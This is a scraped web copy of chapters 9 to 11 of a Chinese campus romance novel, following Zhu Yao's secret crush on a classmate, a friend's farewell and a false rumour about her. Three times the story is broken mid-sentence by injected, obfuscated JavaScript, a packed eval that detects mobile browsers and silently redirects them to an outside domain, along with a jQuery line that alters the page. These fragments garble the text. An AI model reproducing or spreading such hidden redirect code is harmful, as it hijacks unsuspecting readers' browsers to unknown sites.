进不得,退不甘。 从来没有拥有过一次,却像失去了千万次。 这些情绪都太真实,太令人动容了。 “瑶瑶,”李千莹拍了拍祝瑶的肩,因为有些不太清醒的缘故,力道挺重,她哽咽着说,“永远永远不要搞暗恋。” 既像嘱咐,又像是对自己的劝诫。 祝瑶心一惊,差点以为自己被看透了,她顿了顿动作,像是安抚小孩一样陪她说话:“为什么这么说呢?” 她随即把脑袋埋进臂弯中,声音听起来含含糊糊的:“暗恋没有结果的。等这场考试结束再说,等这学期结束再说,等上了高中再说,等分到一个班再说,等过了高考再说,等考上同一所大学再说……可是,人生怎么可能按照既定的轨迹发展。人心会变,目标会变,约定会变,录取分数线会变,努力会被辜负,也许中途会有人截道,意外可能明天就来……各种各样的变故,各种各样的原因,想说的话最后一句都说不出口,最后只能埋在心底不了了之,所以等不到的……” 祝瑶的心像是被针刺密密麻麻地扎了。 “什么时候告白是好的时机呢?反正不是在我最真诚最热烈最纯粹的时间段。大人们才不管喜欢一个人错了没错,他们只要你有用。” “我一直在等,等那一个合适的契机。”她叹息着重复说,“可惜从未等到,从未,从未。” 李千莹哭着哭着突然吸鼻子笑了一声,“暗恋不就是这样吗?永远等不到那一个契机。如果存在,它早就变成明恋了。” 祝瑶喃喃道:“是的吧……在等那一个契机。” “你有喜欢过什么人吗?”千莹抬头,泪眼婆娑地问。 祝瑶安抚的动作一僵,霎时一个字都说不出口。在她的眼神注视下,才缓缓点了点头。 李千莹了然地笑笑,叹息般:“很多人都有吧。瑶瑶,希望你的喜欢得偿所愿、以后勇敢点吧,也对自己更好一点吧。” “那你呢?”祝瑶情不自禁地问。 “我没有机会了,也不打算和他告别了。”李千莹站起来,抹干了眼泪,重新恢复那副生机勃勃的傲娇样儿,“现实中总要多出一个人来成全别人,没关系,我愿意。” “好了,矫情死了。还不快抱抱我?下次见面还不知道是猴年马月呢。” 祝瑶依言照做,眼眶里也酝酿出了湿润,她很笃定、很认真地说:“你以后一定会成为很厉害很好的人。” “那当然了,我要去哈佛,去斯坦佛,去麻省理工,气死那些不喜欢我的人。” “我……”祝瑶不擅长表达自己,在这个关口她竟然也幽默了一下,“我会像‘李华’一样,时不时给在国外的朋友写信的。” “哈哈哈哈哈哈哈。你也是,要成为很厉害的人。我们在未来见啊。”环抱的双手逐渐收紧,这就是告别。 一架飞机驶过,航迹云久久不散。 再见,希望还能再见。 9. 09 高二下学期,祝瑶凭着一年半的努力,排座位时坐到了班级的前三排。 她悄悄往本子上写下了期末的排名——高二上期末市统考:陈逾白,年级1;祝瑶,年级88. 成绩变好了之后,好像连带着人缘都变好了。莫名其妙的,有了一种很多人都在你身边围着转的错觉,问题目、讲八卦……但总落不到实处,挺假的,他们对着她说话,她老认为是在喊别人。 她还是总觉得,他们叫不出她的名字,才算是正常的。 那种感觉就像是,在我一无所有时没人在意,在我满身鲜花时蜂拥而至。 可是满身鲜花时,没有人不爱我。 生活也就那样,千莹走后,在食堂吃饭又没有了搭子,独来独往,乏善可陈。 成绩倒是稳步提高,三月底期中考试之后,祝瑶换座位到了第二排,又和陈逾白近了一点点,终于不和江然坐同桌了。 江然怨道都是因为准备联赛而消耗了太多精力,期中考砸了,否则没准他俩还能成为班级史上同桌最久的一对。 这一年的数学联赛又将开始,高二的参赛名额变多,班里很多同学都去试水。 祝瑶还是本本分分地做着自己的卷子,时不时听江然过来念叨两声搞竞赛有多么多么辛苦。 四月满城梧桐长新叶,满街樱花也成了一道风景,学校组织春游,顺道还去庙里拜了拜。 上香的时候,祝瑶听见有女孩子在祈求姻缘,她弯弯唇角笑了笑,转而求了他竞赛顺利。 燃烧的香灰抖落到她的左手上,烫得她咬紧牙关,彼时天气已经热了起来,双重灼热之下,她难耐不已。 有女孩子安慰说:“没准儿这是神仙的回应,保你如愿的意思。” 这样也好。生活里总是需要点唯心主义的,如果事事都要讲唯物主义,那就也太难熬了。 陈逾白,真希望你能如愿。 五月月考,祝瑶一跃考到了年级三十名,调座位恰恰换到了陈逾白的后桌。 好近好近的距离,近到能看清他每根头发丝儿是怎么长的,却不会被注意到。 调好座位后,老班找到她,跟她要照片。 一中惯例,楼下红榜公示考试前三十名,并且每个人都会配上一张照片,以供来往路过的学生观瞻。那三十张照片时常换位置,又或是被取下、重新贴上,而唯一纹丝不动的就是陈逾白那张,甚至还有人往他旁边画爱心。祝瑶每每路过,都会驻足停留。 如今他们也能上同一个照片墙了? “我……没有照片。”祝瑶有些难以启齿。她很羡慕别的同学,他们每逢重要时刻,父母就会带他们去拍照,留下成长的痕迹。一岁,一年,每个阶段都不曾错过。而她没有,什么都没有,上一次拍照还是在办理身份证时。 “你是住校生是吧?”小老头略一思忖,“算了。今天级部活动用的相机在我那儿,我找个会使的,帮你拍一下。” “……好的。” 他眼睛逡巡一圈,逮到了一位幸运儿:“陈逾白,你去拿我桌上的相机给祝瑶同学拍张照,快点儿啊。” 祝瑶从他叫出陈逾白这个名字时就有点僵住了,待到听到完整的话,更加僵上加僵。 “走啊,”陈逾白没有拒绝掉老师的独/裁,反而敲了敲她的桌子,“等什么呢,待会儿上课了。” 拍摄地点就在教室外的走廊。南方的教学楼是有故事感的,走廊栏杆之外是广阔的天空,黄昏温柔地落下来,给整栋楼蒙上一层淡淡的阴影。 祝瑶窘迫地不知道将两只手往哪里放,低头拽了拽衣角,想起自己更不会摆表情之外,更囧了。 她好不容易做好心理准备,一抬眼却发现陈逾白一手托着相机,一手撑在窗台上,在那儿不知道半低着头笑了多久。 祝瑶咬了咬嘴唇,眼睫迅速垂下来。 “你站那儿别动。”陈逾白指挥她,“头摆正一点,手这样放,对,别动了,眼睛看镜头,这里。” 祝瑶像是第一次支配自己的四肢一样,做动作做出了一股原始野人的感觉。她看的不是镜头,是他。 “怎么这么严肃啊?”他捧着相机看刚拍好的照片,然后复举起来,“再来一次,笑一下?” 祝瑶笑得比哭得还难看。 “你就……想象自己拿下了年级第一?”陈逾白说。 [我想要年级第一]——祝瑶莫名联想到了她曾在书店写下的愿望。 想象拿下年级第一……她头次正大光明地看向相机后的那个男生,他也那么认真看着她。 如果真的有那么一天…… 如果年级第一是她的…… 她笑得很漂亮,可也很伤感,好像下一秒就能流出眼泪似的。 “就……这样吧。”祝瑶抿了抿唇说,“反正也没有人会看……” “这样也可以。”陈逾白没有抬眸,而是仔细放大图片研究细节,“但是谁说没人看的?” 不用人说的。没有人会为了看她特地停留的。 陈逾白关掉相机,拿在手里晃了晃:“我看过了,我不是人吗?” 祝瑶盯着他两秒,随后迅速撇开视线,匆匆丢下小声地“谢谢你”,扭头进了教室,拿起桌上的笔看着题,思绪都还在飘忽。 ——如果你看到了我,那我的暗恋就结束了。 可是在你眼中,我是谁呢? 离得近的好处凸显出来了。自从当了前后桌,陈逾白和她讲话都变多了,至少从一个八竿子打不着、只混个面熟的普通同班同学变成了“债主”。 他其实有很多青春期男生共通的毛病,比如丢三落四,比如偶尔调皮捣蛋。才过了一周,他就已经向祝瑶借了三支黑笔、一块橡皮,并且因为上语文课做数学竞赛题,被语文老师拎站起来挡了祝瑶一节课的视线。 但他会在下一周,从小卖部把所有款式的黑笔买下来,扬着笑脸到她面前:“怎么样?都给你的。” 其实她根本不需要这么多笔,但是他这么递过来的时候,她莫名产生了一种想要收藏的冲动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078755|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五月,数学联赛初赛正式开始。考前,陈逾白却病了。 那个晚自习,他换了好几种姿势,好像怎么趴都不舒服。 明明他后脑勺也没长眼睛,但即便如此,她也学不会正大光明地看他。更多情况下,她会奖励自己——写完一道题,奖励自己在视线转换的时候,用余光不经意掠过他的背影。她想即使她是一个画技不精的人,如今也能够闭着眼睛完整地描摹出他的背影。 他还是没有找到合适的姿势。 趴桌上、靠在墙壁上……似乎都很难受。 祝瑶的余光几次瞥过,他就换了几种姿势。 她微微有些失神。 千莹以前总说“心疼一个男生你就完了”,她想她可能早就完蛋了。 她开始收拾书桌。祝瑶是个很爱整洁的人,她的桌面从来不堆书本,跟大部分高中生直接垒桌上不一样,她是会把它们都整整齐齐地收纳起来,要用了才掏出来。 但是现在,她把那些书一本接一本地掏出来,在桌面堆砌成一座小山,然后推到桌子的最前方。 用眼神比划了一下大致的高度,她又抽掉了几本书。 最后在最上面垫了自己的校服外套,团成团。 陈逾白失败多次,终于开始尝试靠在椅背上。 本来以为会硌着,没成想,往后一瘫,碰上高度恰恰好的一坨柔软。 他迟疑地往后一看,祝瑶正全神贯注地解一道数学导数题,似乎完全发现她的书桌已经被他入侵。 祝瑶适时抬起眼睫,眼神询问“怎么了”。 他指着那堆书:“借我枕枕?” 她迅速“嗯”了下,然后埋下头心浮气躁地回归导数题,本来清晰的思路,一下子就变得超级模糊了。 几乎是在草稿纸上胡乱画了几笔后,她听见陈逾白近乎在她耳边说话,提醒她解法:“零点设而不求。” 他靠在她的桌子上,枕在她的衣服上。 其实她开始并没有考虑这么多,没有这样是不是暧昧、是不是会距离变得非常近,她只是很朴素地希望,他能够好受一点。 可是,此时此刻,这前后两颗脑袋仅仅只有十厘米的距离,也是真的。 能闻到他洗发水的味道,也是真的。 这种情况下,她竟然会有种恐慌的错觉。她心跳过速,她血液倒流……她不习惯靠得这么近。 世界上是不是还存在着一种人,他们喜欢一样事物,想要得到,却又害怕得到。甚至在靠近时,都觉得是在亵渎。 祝瑶是这样的人。 所以当下她沉溺了两分钟,在那之后,她挪了挪位置,往边角去了去。 那股淡淡的香气终于散了。 她松了口气,在他离开之前,再也没有抬头。 如果有句歌词能形容她的心理状态,那么她想应该是那句“假如我年少有为不自卑”。 假如她年少有为不自卑,那么她就不会成为一名出色的“演员”,满心的欢喜也不必尽力地隐藏了。 10. 10 初赛落下帷幕,陈逾白进了省队,去了省里集训,江然拿了省一后止步于此。 同时进省队的还有分科后来到一班的那个女孩,严薇。这年头什么性别擅长学什么学科的刻板言论已经不流行了,厉害的是不同的人,而不是不同的性别。 高二升高三的暑假,附中毫无意外地进行了提前补课,那段时间祝瑶前面的座位都是空的,他去集训了。 教室窗外梧桐枝桠疯长,绿荫如盖,蝉声不知疲倦,空调吹着冷气,玻璃窗隔绝了空气中翻滚的热浪。 祝瑶还是在位置上重复做题背书,累了的时候会一个人跑到科技楼,到计算机教室用电脑给李千莹发邮件,邮件格式千篇一律,大多以“DearQianying” 为开头,后面就是大段大段的自言自语。没有办法,长久不在一起的朋友,隔着时差,连共同话题都越来越少,这是不可抗力的事情。 祝瑶的头发已经长到了及腰,高三学习紧凑,她没有时间打理这么长的头发,宿舍楼用吹风机的时间也很紧凑,所以挑了个日子到校门外的理发店剪了。 理发师审美很在线,建议她留个薄点的刘海。年级有很多爱打扮的女孩子都留过那款,祝瑶略作犹豫,接受了建议。 好像……是变漂亮了点。 以前从来没有人夸过她漂亮。从小到大,她身上自带的形容词就是“听话”“文静”“乖”,遇见陌生人客套夸长相,夸的也是“清秀”“可爱”。殊不知,遇见真正的大美女,大家只会词穷惊叹“太漂亮了”,正如严薇第一次进1班那样。 她头一次被夸漂亮,是夏日某天傍晚在操场走圈。偶尔的散步对于高中生来说,也是很浪漫的事,粉紫色的晚霞、橙黄的落日,都给平淡的高中生活增添了不平凡的色彩。那天她捧着单词本在跑道内圈慢悠悠边晃边背,突然听见在场边特训的体育特长生的起哄声,从人堆里跑出来一个男生,很直白地评价出了那句漂亮。 祝瑶愣了半天。见她没反应,男生失望跑开。 江然听说以后,美名其曰学校里的体特都玩得特别“花”,要帮她排除风险,后来渐渐地,反而变成散步二人组了。 拿到数竞省一,对他来说也够了。至少自招的时候能让名校降很多分录取,相当于一只脚迈进大学。 所以他特别有闲心。 她也时不时能听到一些陈逾白的消息。 “你打算考哪里的大学?”江然问。 祝瑶当下回的是:“不知道。” 其实她是知道的。 只不过她的目标太高了,现在她还达不到。 她知道,陈逾白一定会去那里的。 正式开学后,高三的所有内容几乎全都学完了。剩下的日子,就是重复地做题、做卷、讲题、讲卷。 说不枯燥是假的。 可是人生不就是用那一点儿甜,去覆盖大部分的苦和酸吗? 零模,祝瑶又往前进了一点点。 她把书桌搬到第一排的时候,回头一望自己高一刚走进这个班时所坐的最后一排座位,竟然有种恍如隔世的感觉。 曾经她所以为的不可逾越的鸿沟、不能翻越的大山,都成了现在的山海亦可平。 原来坐在老师眼皮子底下是这种感觉,原来离黑板这么近是这种感觉,原来……她也可以很厉害。 如果能重新回到刚进这个班的那一天,她想她会拍一拍两年前的自己:“背挺起来,往前站一点。” 陈逾白依旧在那个老位置上。 他们俩在楼下红榜上的距离,越来越近,越来越近,近到几乎只差了十几厘米。 十月,一中有件大事,百年校庆。 届时各知名校友都会回校参加校友大会,展览展出来的那些大佬的名号都让人瞠目结舌。学校对这次大会很重视,老早就安排好了各项事宜,并且也许是想要激励高三生的缘故,那天他们要去礼堂听演讲。 上午全校都在大扫除,祝瑶被分到扫东侧楼梯,同组负责拖地的是陈逾白。 他就那么慢悠悠地跟在她后面,她扫一级台阶,他跟着拖一级台阶。 他拄着拖把的模样怪有趣的,一副“这事儿还要我来干”的跩样儿,空闲下来就会倚着墙壁,看着她兢兢业业。 祝瑶的手在扫帚上摩挲了好久,才迟疑地问道:“江然说,你十一月要去参加CMO(中国数学奥林匹克),那月考你还参加吗?” 她不敢说得太直白,唯恐自己的小心思被看透透,所以只能借着别人的名义,用着迂回的话语来试探。 “怎么?”陈逾白弯起唇角,“你真的想要年级第一啊?” “我……”祝瑶词穷,“……不是。” 她只是仔仔细细地研究了每个人的排名变化,再对自己进行自身评估。 ……总觉得,好像下一次,下一次月考成绩出来,她就可以和他成为同桌了。 从前期盼那么久的事,就快实现了,她没有实感,只觉得心慌。因为这个过程太久了,久到美梦成真像是踩在云端上。 她就是怕,怕如果她做到了,他却没去考试。 那样也就太遗憾了。 人总该,哪怕只有一次,要所求的所愿的吧。 “真的不想?”他挑挑眉,拎起拖把戳了戳她的扫帚,场面滑稽像是用两根棍儿在打架。他有时候也是真的挺幼稚的。 祝瑶真切地不知道怎么回答这个问题,想是想的,但不是那种想,可是怎么回答都仿佛是没说实话。 于是她提起扫帚飞快下了几级台阶。 想逃。 当她站定在转角平台的时候,看着阶梯之上的陈逾白时,霎时间呼吸一滞。 上午的阳光是那么好,穿过树叶间隙的缝打进教学楼,再从他的背后照过来。光有了形状。 一如高一,她还是心动。 原来喜欢他都有两年了。她后知后觉地发现时间过得这般快。她迅速转过身去,想掩饰掉自己糟糕的表情。没成想却让人误会了。 陈逾白大概认为自己玩笑开得太过,三四步跨到她面前,倒退着走路,“祝瑶,对不起。不过我想人有野心不是什么坏事,用不着在意别人的看法。” “……我没生气。” 他低下肩、垂下头,去仔细看她的表情,但还是没有改口:“祝瑶,对不起。不过你没生气为什么要把脸别过去?” 祝瑶不得已又将脑袋偏回来。他还在倒退着下楼梯,她在上面,这个角度足以让他们达成平视,他眼睛亮晶晶的,又带着点好整以暇。她只能强行岔开话题:“那你呢?你的野心是什么?” “祝瑶,对不起。”这句像是变成了什么口令一样,每次他开口必要带一句,让人头很疼。所以在欠揍这方面,他真的和很多青春期的男生没区别,只不过性格方面会更细致和周密,“我啊,以全部的野心,自由一生。” 她头一次听到这个说法。 自由……吗? 后来她才知道,这是一句国外的谚语。当下她只是怔了很久,喃喃问:“那如果在乎别人的眼光呢?” “祝瑶,对不起。”他不以为然地笑笑,给出了他的答案,“很简单啊。人算什么东西?对于广袤无垠的宇宙来说,一粒尘埃、一颗石子?所以人又算什么东西。” 祝瑶抿了抿唇:“哦……你可不可以别用开头那个句子了?” “祝瑶,对不起。”他浑然无辜问,“哪一句?” “……” “这儿快打扫完了,老师还让我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078756|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼堂送材料。”祝瑶有点扛不住,先行跑路。 学校广场上停满了车,校友们都陆续来了。令祝瑶意外的是,她竟然看到了一个熟人。 “时间对面”的卫老板穿着身黑色皮夹克,嘴里还是一如往常,姿态慵懒地叼着根棒棒糖,停留在广场陈列的杰出校友照片墙前,一眨不眨地盯着某张照片看。 “卫老板……?” 祝瑶叫了他,他这才恍然回神,微微颔首:“小祝。” 她想起,书店员工议论过,老板也是一中校友。不止是卫老板,也是卫学长。 “你在看什么?” 卫景明勾起唇角痞痞一笑:“我爱人。” 爱人……这个词太具有上世纪的时代感了。人闲车马慢,一生只爱一个人。 “她是一中的学姐吗?”祝瑶的眼睛情不自禁地往照片墙上寻找。 “在这儿。”他手指抚了上去。 祝瑶顺着他指尖瞧过去,瞳孔霎时一缩。 很久之前,她在陈逾白外套的口罩中找到过一张照片,照片上有三个人。陈逾白、卫景明,还有如今照片墙上的这个女孩子。当时她还在心底难受过一阵子。 可这竟是卫老板的爱人……那陈逾白为什么……? 祝瑶又仔仔细细地去看女孩子的五官,喃喃道:“她和陈逾白长得有点像……” 卫景明笑了声:“当然了,表姐弟啊。很久之前,我和她高中的时候,去给小小的陈逾白开家长会时,许多小孩儿就说他们像了。” 原来是这样的关系。难怪曾经陈逾白经常光顾“时间对面”,还和老板相谈甚欢。 “他们家基因真好。”祝瑶又环视了一圈这面墙上的烫金大字【南邑一中优秀校友】,真心实意地补充道,“……除了好看,他们也都很厉害。” 卫景明的笑容里似乎藏着许多怀念,倏然回神才道:“你看过店里那本《春日》吧,注意过作者吗?” “难道是她?”祝瑶微惊。 “是啊,是她。”他说,“体裁是诗的缘故,看的人不多。一开始注意到你,就是因为你眼光不错,挑上这本。” 所以,陈逾白会看这么一本气质和他如此不搭的诗集,也是因为作者。 祝瑶隐隐对自己的行为有些负罪感,就觉得为了自己达成目的好像利用了别人。还好还好,她已经……很久没去店里在书上留言了。 她左右环顾:“那今天她来了吗?” 笑容暗淡下去,卫景明道:“来了,也没来。” 这是什么奇怪的说辞?可见到卫老板的神情,平静、忧郁,配上那身黑,似乎手里应该夹只烟才对,祝瑶又适时地没有问出口。 “也许这里的一切都有她。一棵树、一片叶、一枝花、一朵云、一只蝴蝶。”他咬碎棒棒糖的最后一丝,轻飘飘地说,“谁知道呢?” 祝瑶敏锐地觉察到什么,强烈的共情能力让她闭嘴缄默不言,悲伤的氛围笼罩在其中。 “不上课吗?”卫景明扔掉糖棍,“会被老师骂哦。” 祝瑶:“……就去了。拜拜。” 她走上露天环形阶梯时,他还在那里,静静地矗立着,像一座已经风干的雕像。 祝瑶忽然想起她第一次在书里写下的那个问题[想念和讨厌,哪一个更永久?] 曾经她的答案是讨厌。但此时此刻,她竟有了丝“错了”的感觉。 也许陈逾白是对的,是想念。 如果未来再也和陈逾白没有交集,想念够支撑她爱一个人很久很久吗。 她不知道。 所以什么是“时间对面”呢? 死亡,遗忘,还是思念? 又或是…… 回望时间的对面,只剩记忆的碎片。 11. 11 期中考试那天,祝瑶松了一大口气。 陈逾白安安静静地呆在1号考场1号座位上,百无聊赖地转着笔玩儿。 他来考试了。 祝瑶把笔袋放好,心跳砰砰,紧张。这是她等待已久的一个契机,也是很久以来的一个愿望,实现了就能和陈逾白成为同桌了。她不敢懈怠。 卷子一拿到手,祝瑶有点懵。 她不是那种天赋很高的聪明学生,有且仅有一个笨方法,就是努力。努力到把市面上能找得到的题型都做完,自然考试时怎么都不会慌了。但是题海无涯,但凡出题人刻意寻求标新立异,她便很为难。眼下就是这个情况。 收卷之后她像是被抽干了力气,大冬天竟然还冒出了汗。脑袋里只剩了三个字:完蛋了。 不是考得会有多差的那种完蛋,而是没有把握住契机的那种完蛋。 她几乎是苦着一张脸出了考场。太麻木了,头昏脑涨,食欲全无,导致晚饭都不想吃一口,所以跑到了操场呼吸新鲜空气,以缓解那种恶心的感觉。 才走了半圈,操场上的灯“歘”一下全灭了。整个视野里,只有平时分明的塑胶跑道线还尚且清晰。 祝瑶扭头朝教学楼看了一眼,也是黑黢黢的一片,不远处的喧哗声沸反盈天。看来是停电了。 倒霉起来连喝凉水都会塞牙缝,正如她只是想散散步,却没有灯。 今天还需不需要上晚自习她也懒得管了。祝瑶沿着跑道白色的线,摸黑慢慢走着,想了很多事情,又好像什么都没想。 陈逾白的生日好像又快到了。 今年,还是没有什么理由能给他送礼物。 如果他生日在平安夜就好了,这样还能借着由头,给全班送颗苹果,这样也算祝他生日快乐。 为了给他送礼物,会给全班送礼物,她是会做那种傻事的人。 …… 这次考试会退到年级多少名呢? 不知道,反正当不成同桌了。 冬风真冷啊,冷得让人好像出现幻觉了。 从风口跑过来的那个穿着蓝衣的人为什么那么像陈逾白? “终于找到你了。”陈逾白定在她面前,太黑了,面容看不太清楚,“江然说你可能在这儿。” 祝瑶怔住:“怎么了?” 还没等到回答,他腿一动,他们俩就莫名其妙地在内圈散起步来。 “受人所托。”他随手递来一沓本子,“卫景明让我把这个给你。” 祝瑶拿在手上感受了一下重量,有些沉。周遭很静谧,她翻页的声音很突出。 “就是一些笔记、错题整理之类的。”陈逾白说,“他在校门口开书店嘛,有点门道儿,有些资料掌握得比较齐全,说希望对你有帮助。” “哦,好……替我谢谢他。” “我明天就不在学校了。”他说,“年级第一,下次我们有机会再切磋切磋?” 祝瑶的声音听起来很干涩:“好。” 风吹动他的衣角碰上了祝瑶的手背,她听见他问:“怎么好像哭过了?” “……没有。”祝瑶解释,“南方冬天太湿冷了,风刮到眼睛里全是水汽。” 陈逾白默了两秒钟,问道:“那以后要不要去北方试试看?” 祝瑶抬头。 “我的意思是,”他嘴角略有些弧度,停顿稍许,又道,“要不要试试去北方上大学?” 这听起来太像一种约定了。即使是假的,祝瑶也抗拒不了,她低声地回应,像是承诺:“好啊。” 好啊。 霎时,操场上的灯接踵而至地亮起来,照亮了两个身影,祝瑶看清了陈逾白的脸。 她仿佛等来了人生的灯火通明。 期中考试成绩果然不尽如人意。祝瑶掉回了年级第三十。不是不够努力,而是她的运气向来如此,每当看见希望的时候,总会不慎迷失在另一条泥潭。 就像高考也是在碰运气。对于中等偏上的学生来说,遇见一套为你量身定做的卷子,比你多努力半年都有用。 可惜世人多奉信“唯物主义”,他们一定要在你身上找到一个借口、一个理由,来补足这次失败。退步,是因为手机玩多了、懈怠了、没把心思放在学习上……卷子难,那别人为什么能考得好呢? 可人本来就是独一无二的个体,有些人适合超级难的试卷,有些人则截然相反。可惜这些大道理,太多人都懒得听。 那天,祝瑶无助且狼狈。 无缘无故被叫到了办公室,那会儿是课间,各个班级的课代表、来问问题的学生、喝茶的老师络绎不绝。老师问她,是不是因为早恋,才影响了学习状态。 祝瑶垂着头,脸几乎见不到有什么血色,局促、惊慌、害怕、难堪……大脑已经完全停止工作了,想不到要怎么办。 怎么会呢? 应该没有人知道的,她喜欢陈逾白的事情,怎么会有人知道。 她紧紧咬着唇,校服的衣摆已经被扯得皱成一团。 她不敢。 她也,无法反驳。 “有同学举报你和江然。我先来跟你聊聊,之后还会和他聊聊。”老师大概应对太多次这些事情了,游刃有余又苦口婆心,“知道为什么先找你吗?老师带过这么多届,没有意外地跟你讲,影响到的永远是女生。你平时是个很听话的孩子,怎么在这事上犯糊涂……” “我没有。”祝瑶打断,听到江然的名字反倒松了口气,她坚定地重复了一遍,“我和江然没有关系。” 也许听过的“狡辩”太多,也许是她和江然做过很长一段时间的同桌,且期中成绩退步是事实,综合起来一看,老师明显是不信的。不过介于祝瑶实在不承认,他拿了证据出来——一张照片。 其实普普通通,就是一张偷拍的傍晚饭后在操场散步的照片,祝瑶手里甚至还拿了本单词书。可能是黄昏太美了吧,总让有心的旁观者戴上了滤镜去看这个画面。 “我们真的没关系,我不喜欢他,我们就是普通朋友。”被泼上脏水的时候,自证太难了,百口莫辩,即使辩了,也动摇不了认为她是在说谎的那些人的心。于是祝瑶屏了屏呼吸,“如果您一定要这样认为的话,我也没有办法。之后我会注意和男同学交流的界限和分寸,不让其他同学产生这样莫名其妙的误会。” 一个标准的答案。 一个让任何人都挑不出来毛病的态度端正的答案。 老师也是讲道理的人,话都说到这个份儿上了,他也知道眼前这个姑娘有自己的想法,所以摆摆手,没有为难她。 祝瑶沉了沉心,扭头往办公室外面走。 一抬眼,就撞上了门口江然的目光。他不知道在门外站了多久,听了多少。 近乎毫秒间,祝瑶倏地恍然意识到:无论如何,她失去了这个朋友。 她不敢去看他的目光,快步走了出去。 好委屈,真的好委屈。明明没有做过的事情,为什么要付出代价。 一直以来,她拥有的朋友就屈指可数,李千莹、江然…… 如果老天注定要让她失去,为什么一开始要让她得到,然后再一样一样被剥夺走,仿若是在凌迟,往心上割刀子剜肉。 祝瑶得不出答案,无解。 此后她的耳朵开始不受自己的控制。猜疑者固守自己的立场,在私下悄悄交换着情报,小心翼翼躲开她,在角落窃窃私语,用自己幻想出的剧情,给这平淡无趣的高中生活增添一种波澜起伏的色彩。以为只要避着她,就不算对她造成了伤害。 “你们听说了吗?好像,1班的祝瑶和江然谈恋爱,被班主任强制分手了?” “真的假的?祝瑶我知道,她不是黑马吗?经常看她一个人走在路上都在背书学习欸。” “江然不是搞数学竞赛的吗?肯定是给自己女朋友辅导的啦~不然怎么可能进步这么快!” “但这么容易就分手啦?这么经不起考量,还以为能多撑一段时间呢,他们老师抓得也太严了……” “你说得太大声了!刚刚她就在后面二十米的地方……” “没关系啦,咱们就八卦一下,又没说什么坏话。” 是的,他们也许没什么恶意。 他们只是紧跟潮流,自由地在分享一个“秘密”。 她也无法像明星一样,召开一场公开记者会,让所有人都竖起耳朵听她澄清。 他们为什么会对她这么好奇? 祝瑶想了很久,似乎有点想明白了。 嫉妒。 人类很常见的一种情感。 她攀升得有点太快了。从籍籍无名、在年级垫底的小可怜,变成如今大部分人都有所耳闻的一匹黑马,对于一些人来说太刺眼了。有人爱看草根逆袭,也有人爱看星星坠落,不同的是前者发生在自己身上才为上佳,而后者降临到别人身上才精彩到令人啧啧称赞——她如今就是那个“别人”。 想通之后,祝瑶不再内耗了。以前听到这些闲言碎语,她一开始还想解释,后来只想快步离开,而如今,她只会像今天这样—— 不躲不避地走到那些碎嘴的男生面前,平淡地说一句:“所以呢?” —“那如果在乎别人的眼光呢?” —“很简单啊。人算什么东西?对于广袤无垠的宇宙来说,一粒尘埃、一颗石子?所以人又算什么东西。” 这些是陈逾白说过的。 “所以呢?”祝瑶看着那些人,面上挂着一点嘲讽,“你们又算什么东西?” 她想她确实变了。 曾经的她,怎么改也改变不了讨好别人、委屈自己的做派。李千莹恨铁不成钢,三令五申让她懂得拒绝,她始终都没能成功做到。 而今她咄咄逼人、盛气凌人,和从前逆来顺受、怕给别人添麻烦的自己大相径庭。 她,在旁人眼中还是个“乖小孩儿”吗?他们会不会不喜欢她了? 她不在意了。 祝瑶回班,径直走到江然的桌前。 他们很久没说话了。其实他很多次想和她搭话,都畏畏缩缩,往常人缘超好的快乐小狗如今也欲言又止。很多时候,祝瑶不是没看见,但她想把问题切断在源头,那就最好不要说话,一个字都不说,总不会让人误会了吧? 可源头到底是什么?真的是因为她和江然交往过密吗? 她不认同这个答案。 所以此时此刻,她敲了敲江然的桌子,用轻快的语气道:“走啊,一起去吃晚饭。” 江然回望过来的眼神惊诧而愕然。 周遭听见她说话的同学,同样如此。 祝瑶安静地挑着饭盘里的姜丝儿,听着江然在她耳边斟酌用词:“你……这……我们……” “你要是不习惯,或者觉得给你带来了困扰,那我们就还像之前那几天一样,离远点就好了。”祝瑶淡淡道。 她这句话出口时,还有坐在其他餐桌的人偷偷摸摸地望向他们。祝瑶熟视无睹。 “我才不要,我又不在意。”江然松了一大口气,“这些天都憋死我了。我……我是不是得跟你解释点什么?” 祝瑶摇摇头:“不用了。” “哦……那同学那边……我之前怎么说他们都不听的,我……”江然絮絮叨叨,也听不出到底想表达什么,“还有老师那边……” “你还吃不吃了?”祝瑶收拾好餐盘,拿出纸巾擦了擦嘴。 江然:“……吃。” 他开始扒饭,祝瑶说:“他们,没关系的。” “啊?”江然一愣。 “当然了,你要是觉得有关系,那我们那我们就还像之前那几天一样,离远点……” “停停停,你复读机吗?只会说这个。” “……哦。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078757|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你呢?之前不还是……”像是避瘟神一样避着我。 “我想明白了。”祝瑶说。 江然眼睛一亮:“……什么?” 